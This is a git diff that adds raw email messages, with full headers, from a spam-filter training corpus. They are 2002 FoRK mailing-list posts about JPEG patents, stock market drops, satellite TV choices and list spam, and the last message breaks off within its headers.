+Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +On Fri, 19 Jul 2002, Tom wrote: + +> So are PNGs still kosh? + +So far, but it's not even noon yet. Stealth patents are definately gaining +in popularity, maybe we can get this included in the new death penalty for +hackers law. + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00798.f0b6d4915a856bc13e789d766b13fcb9 b/bayes/spamham/easy_ham_2/00798.f0b6d4915a856bc13e789d766b13fcb9 new file mode 100644 index 0000000..cf9bf25 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00798.f0b6d4915a856bc13e789d766b13fcb9 @@ -0,0 +1,63 @@ +From fork-admin@xent.com Fri Jul 19 20:20:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A1902440C8 + for ; Fri, 19 Jul 2002 15:20:09 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 20:20:09 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JJKFJ27780 for ; + Fri, 19 Jul 2002 20:20:16 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A3AC32940AB; Fri, 19 Jul 2002 12:09:48 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 3C6A7294098 for + ; Fri, 19 Jul 2002 12:09:46 -0700 (PDT) +Received: (qmail 9210 invoked by uid 508); 19 Jul 2002 19:18:41 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.155.144.57) by + venus.phpwebhosting.com with SMTP; 19 Jul 2002 19:18:41 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g6JJIar00906; Fri, 19 Jul 2002 21:18:36 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +Date: Fri, 19 Jul 2002 21:18:35 +0200 (CEST) +From: Eugen Leitl +To: "Adam L. Beberg" +Cc: Tom , Robert Harley , + +Subject: Re: JPEGs patented +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +On Fri, 19 Jul 2002, Adam L. Beberg wrote: + +> So far, but it's not even noon yet. Stealth patents are definately +> gaining in popularity, maybe we can get this included in the new death +> penalty for hackers law. + +Just ignore the laws completely. You cannot win the legal way, because the +geek is a minority, and even not a lobby-toting minority at that. You +Cannot Win That Way. Really. + +We need an uncensorable, hardened P2P infrastructure to distribute such +staples as open source software. Software patents are tragedy of the +commons all over again. The collateral damage done by pirating is a +complete footnote in comparison to the radioactive glass iron-fisted IP +rights enforcement habitually produces. + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00799.43fc9562e5a55f83f0ff75fd648bbe87 b/bayes/spamham/easy_ham_2/00799.43fc9562e5a55f83f0ff75fd648bbe87 new file mode 100644 index 0000000..8ccee7c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00799.43fc9562e5a55f83f0ff75fd648bbe87 @@ -0,0 +1,58 @@ +From fork-admin@xent.com Fri Jul 19 21:51:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0A5DD440C8 + for ; Fri, 19 Jul 2002 16:51:55 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 21:51:55 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JKmOJ02168 for ; + Fri, 19 Jul 2002 21:48:26 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1E0592940B3; Fri, 19 Jul 2002 13:36:38 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id C86C0294098 for ; Fri, + 19 Jul 2002 13:36:36 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 2C49A3ECF3; + Fri, 19 Jul 2002 16:46:56 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 2ACDF3EC7C for ; Fri, + 19 Jul 2002 16:46:56 -0400 (EDT) +Date: Fri, 19 Jul 2002 16:46:56 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Subject: 7000 or bust?:)- +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + + +So whats the eariliest for hitting 7k? + +http://money.cnn.com/2002/07/19/markets/markets_newyork/index.htm + +"According to preliminary reports, the Dow fell 390.23 to 8,019.26, to its +lowest level since January 1998. The Nasdaq composite index lost 37.94 to +1,319.01. The Standard & Poor's 500 index lost 34.03 to 847.53. + +The index has fallen more than 1,000 points in the past two weeks and +closed down nine of the last 10 sessions. Both the Nasdaq and S&P are near +their lowest levels since the first half of 1997. +" + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00800.637e40d44b7ab77b9d1cfab3e54166b7 b/bayes/spamham/easy_ham_2/00800.637e40d44b7ab77b9d1cfab3e54166b7 new file mode 100644 index 0000000..04f4146 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00800.637e40d44b7ab77b9d1cfab3e54166b7 @@ -0,0 +1,60 @@ +From fork-admin@xent.com Sat Jul 20 00:11:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6526A440C8 + for ; Fri, 19 Jul 2002 19:11:07 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 00:11:07 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JN6kJ12891 for ; + Sat, 20 Jul 2002 00:06:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9CB272940E0; Fri, 19 Jul 2002 15:55:42 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51]) by + xent.com (Postfix) with ESMTP id 75E0F294098 for ; + Fri, 19 Jul 2002 15:55:40 -0700 (PDT) +Received: from mailgate1.apple.com (A17-128-100-225.apple.com + [17.128.100.225]) by mail-out2.apple.com (8.11.3/8.11.3) with ESMTP id + g6JN4bA13103 for ; Fri, 19 Jul 2002 16:04:37 -0700 (PDT) +Received: from scv1.apple.com (scv1.apple.com) by mailgate1.apple.com + (Content Technologies SMTPRS 4.2.1) with ESMTP id + for ; + Fri, 19 Jul 2002 16:03:58 -0700 +Received: from to0202a-dhcp108.apple.com (to0202a-dhcp108.apple.com + [17.212.22.236]) by scv1.apple.com (8.11.3/8.11.3) with ESMTP id + g6JN4bl03876 for ; Fri, 19 Jul 2002 16:04:37 -0700 (PDT) +Date: Fri, 19 Jul 2002 16:04:37 -0700 +MIME-Version: 1.0 (Apple Message framework v482) +Content-Type: text/plain; charset=US-ASCII; format=flowed +Subject: DBS Recommendations? +From: Bill Humphries +To: fork@spamassassin.taint.org +Content-Transfer-Encoding: 7bit +Message-Id: +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +I told AT&T to get lost after they wanted $$$ to change my service address. + +RCN doesn't service Mountain View, so I'm looking at Dish Network and +Direct TV. + +So far Direct TV appears to be the better deal. + +Recommendations? Horror stories? Alternatives I've missed? + +-- whump + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00801.7bf3e5a17eb6587413340cd5e811726e b/bayes/spamham/easy_ham_2/00801.7bf3e5a17eb6587413340cd5e811726e new file mode 100644 index 0000000..fe2e9c4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00801.7bf3e5a17eb6587413340cd5e811726e @@ -0,0 +1,61 @@ +From fork-admin@xent.com Mon Jul 22 18:13:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 41377440D2 + for ; Mon, 22 Jul 2002 13:12:48 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:48 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFwGY14554 for + ; Mon, 22 Jul 2002 16:58:16 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id UAA28844 for ; Sun, 21 Jul 2002 20:11:06 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 48B102940A8; Sun, 21 Jul 2002 11:59:02 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (unknown [63.145.31.2]) by xent.com (Postfix) + with ESMTP id 7F67D294098 for ; Sun, 21 Jul 2002 11:58:59 + -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Sun, 21 Jul 2002 19:07:10 -08:00 +Message-Id: <3D3B065E.8090903@barrera.org> +Date: Sun, 21 Jul 2002 12:07:10 -0700 +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Wayne E Baisley +Cc: fork@spamassassin.taint.org +Subject: Re: JPEGs patented +References: <20020719161136.4DFA2C44E@argote.ch> + <3D3AF0DD.9030304@alumni.rice.edu> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +Wayne E Baisley wrote: +> There's nothing you can know that isn't known. +> Nothing you can see that isn't shown. +> Nowhere you can be that isn't where you're meant to be. +> It's easy. +> All you need is HTML. + +Are you quoting the Beatles version or the Laibach version? + +- Joe :-) + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00802.5b2b41e76c466cbf4eea8076fd8669ac b/bayes/spamham/easy_ham_2/00802.5b2b41e76c466cbf4eea8076fd8669ac new file mode 100644 index 0000000..173ab60 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00802.5b2b41e76c466cbf4eea8076fd8669ac @@ -0,0 +1,64 @@ +From fork-admin@xent.com Mon Jul 22 18:13:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C5204440D6 + for ; Mon, 22 Jul 2002 13:13:00 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:13:00 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFxpY15538 for + ; Mon, 22 Jul 2002 16:59:51 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id SAA28466 for ; Sun, 21 Jul 2002 18:57:24 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D70512940A3; Sun, 21 Jul 2002 10:46:12 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from c007.snv.cp.net (h011.c007.snv.cp.net [209.228.33.239]) by + xent.com (Postfix) with SMTP id C9FC7294098 for ; + Sun, 21 Jul 2002 10:46:10 -0700 (PDT) +Received: (cpmta 5144 invoked from network); 21 Jul 2002 10:55:14 -0700 +Received: from 65.189.7.13 (HELO alumni.rice.edu) by + smtp.directvinternet.com (209.228.33.239) with SMTP; 21 Jul 2002 10:55:14 + -0700 +X-Sent: 21 Jul 2002 17:55:14 GMT +Message-Id: <3D3AF0DD.9030304@alumni.rice.edu> +Date: Sun, 21 Jul 2002 12:35:25 -0500 +From: Wayne E Baisley +User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) + Gecko/20011128 Netscape6/6.2.1 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: JPEGs patented +References: <20020719161136.4DFA2C44E@argote.ch> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +There's nothing you can know that isn't known. +Nothing you can see that isn't shown. +Nowhere you can be that isn't where you're meant to be. +It's easy. +All you need is HTML. + +By way of proof, there are no jpgs, gifs, pngs, etc here... +http://www.anagrammy.com/anagflag.html + +Cheers, +Wayne + +Yeah yeah yeah + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00803.6fc0c081e3cda7194e3633ea90d146e5 b/bayes/spamham/easy_ham_2/00803.6fc0c081e3cda7194e3633ea90d146e5 new file mode 100644 index 0000000..a75f80c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00803.6fc0c081e3cda7194e3633ea90d146e5 @@ -0,0 +1,74 @@ +From fork-admin@xent.com Mon Jul 22 18:13:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ED2E0440CD + for ; Mon, 22 Jul 2002 13:13:20 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:13:20 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1vY16877 for + ; Mon, 22 Jul 2002 17:01:57 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id CAA25371 for ; Sun, 21 Jul 2002 02:50:57 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2B4482940A0; Sat, 20 Jul 2002 18:39:24 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp001.nwlink.com (smtp001.nwlink.com [209.20.130.75]) by + xent.com (Postfix) with ESMTP id E12C9294098 for ; + Sat, 20 Jul 2002 18:39:21 -0700 (PDT) +Received: from JEFF (kola.vertexdev.com [209.20.218.149] (may be forged)) + by smtp001.nwlink.com (8.12.2/8.12.2) with SMTP id g6L1mNN9001956 for + ; Sat, 20 Jul 2002 18:48:23 -0700 +Message-Id: <005501c23058$cac1a9a0$680d0dc0@JEFF> +From: "Jeff Barr" +To: +References: <20020719052006.B12FA2940A1@xent.com> +Subject: Re: Stupid Idea Series: excreta & emigration [Re: The great FEE] +Date: Sat, 20 Jul 2002 18:41:50 -0700 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +Someone says, + +> > Wow. I'm so tempted to mail this guy several lbs of dog poop. I wonder +> > what the shipping costs would be to Delaware? +> +> Shipping costs? This sort of thing +> sounds perfect for decentralization -- +> like flower delivery, freshness counts, +> and it's probably difficult to scale a +> single dog's output arbitrarily. Find +> a dog owner in Delaware with a target +> in Scruz, and swap deliveries. P2p? +> +> > I learned when RHAT's support team was mailed some poo that it's really +> > really illegal to do it. + +http://www.mailpoop.com has apparently been providing this service for a +while now, +along with http://www.smellypoop.com/order.html and +http://www.dogdoo.com/Default.asp. + +Jeff; + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00804.56e419cefe00bfbf4e1bcc1b4be47ae1 b/bayes/spamham/easy_ham_2/00804.56e419cefe00bfbf4e1bcc1b4be47ae1 new file mode 100644 index 0000000..d8d0078 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00804.56e419cefe00bfbf4e1bcc1b4be47ae1 @@ -0,0 +1,76 @@ +From fork-admin@xent.com Mon Jul 22 18:13:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6F432440D0 + for ; Mon, 22 Jul 2002 13:13:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:13:24 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG2CY16995 for + ; Mon, 22 Jul 2002 17:02:14 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id AAA25220 for ; Sun, 21 Jul 2002 00:26:35 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C55B12940AE; Sat, 20 Jul 2002 16:14:33 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sabine.posthuman.com + (adsl-068-016-098-002.sip.asm.bellsouth.net [68.16.98.2]) by xent.com + (Postfix) with SMTP id 34ABD294098 for ; Sat, + 20 Jul 2002 16:14:31 -0700 (PDT) +Received: (qmail 13725 invoked from network); 20 Jul 2002 23:09:08 -0000 +Received: from notebook.posthuman.com (HELO posthuman.com) (192.168.0.4) + by mail.posthuman.com with SMTP; 20 Jul 2002 23:09:08 -0000 +Message-Id: <3D39F0E7.EB346CF1@posthuman.com> +Date: Sat, 20 Jul 2002 19:23:19 -0400 +From: Brian Atkins +X-Mailer: Mozilla 4.79 [en] (Win98; U) +X-Accept-Language: en,pdf +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: DBS Recommendations? +References: +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +It doesn't really matter since they're about to merge. If you're into +PVRs though, Dish just came out with the "721" receiver. No monthly +fee for it (unlike Tivo, etc) and it can record two things at once while +you watch a third program previously recorded. Also has 120GB hard drive +and rumor has it a Broadcom chip in there to support the new encoding +system expected to be put into place a couple years after the merger. + +(oh and the 721 is based on Linux if that matters) + +Bill Humphries wrote: +> +> I told AT&T to get lost after they wanted $$$ to change my service address. +> +> RCN doesn't service Mountain View, so I'm looking at Dish Network and +> Direct TV. +> +> So far Direct TV appears to be the better deal. +> +> Recommendations? Horror stories? Alternatives I've missed? +> +> -- whump +> +> http://xent.com/mailman/listinfo/fork + +-- +Brian Atkins +Singularity Institute for Artificial Intelligence +http://www.singinst.org/ + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00805.77504386507753ce46fc385f2aa4ec37 b/bayes/spamham/easy_ham_2/00805.77504386507753ce46fc385f2aa4ec37 new file mode 100644 index 0000000..b7ddeb1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00805.77504386507753ce46fc385f2aa4ec37 @@ -0,0 +1,71 @@ +From fork-admin@xent.com Mon Jul 22 20:38:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D642C440C8 + for ; Mon, 22 Jul 2002 15:38:54 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 20:38:54 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6MJYg421041 for ; + Mon, 22 Jul 2002 20:34:43 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EA3162940A0; Mon, 22 Jul 2002 12:24:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx2.ucsc.edu [128.114.129.35]) by + xent.com (Postfix) with ESMTP id 315C429409D for ; + Mon, 22 Jul 2002 12:23:12 -0700 (PDT) +Received: from Tycho (dhcp-63-177.cse.ucsc.edu [128.114.63.177]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g6MJVx002108; Mon, + 22 Jul 2002 12:32:03 -0700 (PDT) +From: "Jim Whitehead" +To: , +Subject: RE: FREE ORIGINAL STAR WARS CARDS Adv: +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +Importance: Normal +In-Reply-To: <1RQ41R5DA10T50.E29F1D0DAC6EX8VX4V5C.empirestrikesback@tytcorp.com> +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 12:30:17 -0700 + +> Special Bonus with your order, you will receive +> 10 Original 1980 Topps Star Wars/Empire Strikes +> Back Collector Cards Absultely Free! +> These are Original 1980 Topps Star Wars/Empire +> Strikes Back Collector Cards from 22 years ago! Not reprints! + +I have a complete Blue and Red set (series 1 & 2 from 1977), and many cards +from series 3-5. Guess they're not worth too much. This site lists them at +$45-$60 per set. + +I do have a C-3PIO enhanced with penis card: + +http://pages.map.com/starwars/faq.html#penis + + +- Jim + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00806.ebef316cd567c95011241a5b9b504984 b/bayes/spamham/easy_ham_2/00806.ebef316cd567c95011241a5b9b504984 new file mode 100644 index 0000000..6a8f1d4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00806.ebef316cd567c95011241a5b9b504984 @@ -0,0 +1,50 @@ +From fork-admin@xent.com Mon Jul 22 22:13:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9F5B6440C8 + for ; Mon, 22 Jul 2002 17:13:41 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 22:13:41 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6MLCu429279 for ; + Mon, 22 Jul 2002 22:12:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EA7CB2940AE; Mon, 22 Jul 2002 14:02:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 905192940A8 for ; + Mon, 22 Jul 2002 14:01:48 -0700 (PDT) +Received: (qmail 23269 invoked by uid 1111); 22 Jul 2002 21:10:44 -0000 +From: "Adam L. Beberg" +To: +Subject: spam maps +In-Reply-To: <415-22002712219375752@user-bbxdmnnh9d> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 14:10:44 -0700 (PDT) + +Did someone invert the spam filters? I'm getting almost nothing but spam on +fork now... + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00807.2fb463a44983d6fd135a94a84be2efa0 b/bayes/spamham/easy_ham_2/00807.2fb463a44983d6fd135a94a84be2efa0 new file mode 100644 index 0000000..2f10475 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00807.2fb463a44983d6fd135a94a84be2efa0 @@ -0,0 +1,62 @@ +From fork-admin@xent.com Mon Jul 22 22:19:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 753B2440C8 + for ; Mon, 22 Jul 2002 17:19:01 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 22:19:01 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6MLJi430315 for ; + Mon, 22 Jul 2002 22:19:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 978F02940B1; Mon, 22 Jul 2002 14:09:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from doofus.fnal.gov (doofus.fnal.gov [131.225.81.36]) by + xent.com (Postfix) with ESMTP id 551EE2940B1 for ; + Mon, 22 Jul 2002 14:08:12 -0700 (PDT) +Received: from alumni.rice.edu (localhost.localdomain [127.0.0.1]) by + doofus.fnal.gov (8.11.6/8.11.6) with ESMTP id g6MLHJg08754; Mon, + 22 Jul 2002 16:17:20 -0500 +Message-Id: <3D3C765F.1040309@alumni.rice.edu> +From: Wayne Baisley +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) + Gecko/20020513 Netscape/7.0b1 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: JPEGs patented +References: <20020719161136.4DFA2C44E@argote.ch> + <3D3AF0DD.9030304@alumni.rice.edu> <3D3B065E.8090903@barrera.org> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 16:17:19 -0500 + +> Are you quoting the Beatles version or the Laibach version? + +:-) + +Actually it's from Missing Mole's My Lubavitcher Mama featuring Milton +Berners-Sinatra. The version that was recorded in GIF-sur-Yvette, Fr. + +Cheers, +Wayne + +Our work is semantic, our language protocol. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00808.95183a30c4c828faafc49bd5e0796cb2 b/bayes/spamham/easy_ham_2/00808.95183a30c4c828faafc49bd5e0796cb2 new file mode 100644 index 0000000..bb5ac18 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00808.95183a30c4c828faafc49bd5e0796cb2 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Mon Jul 22 22:24:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B56A4440C8 + for ; Mon, 22 Jul 2002 17:24:23 -0400 (EDT) +Received: from dogma.slashnull.org 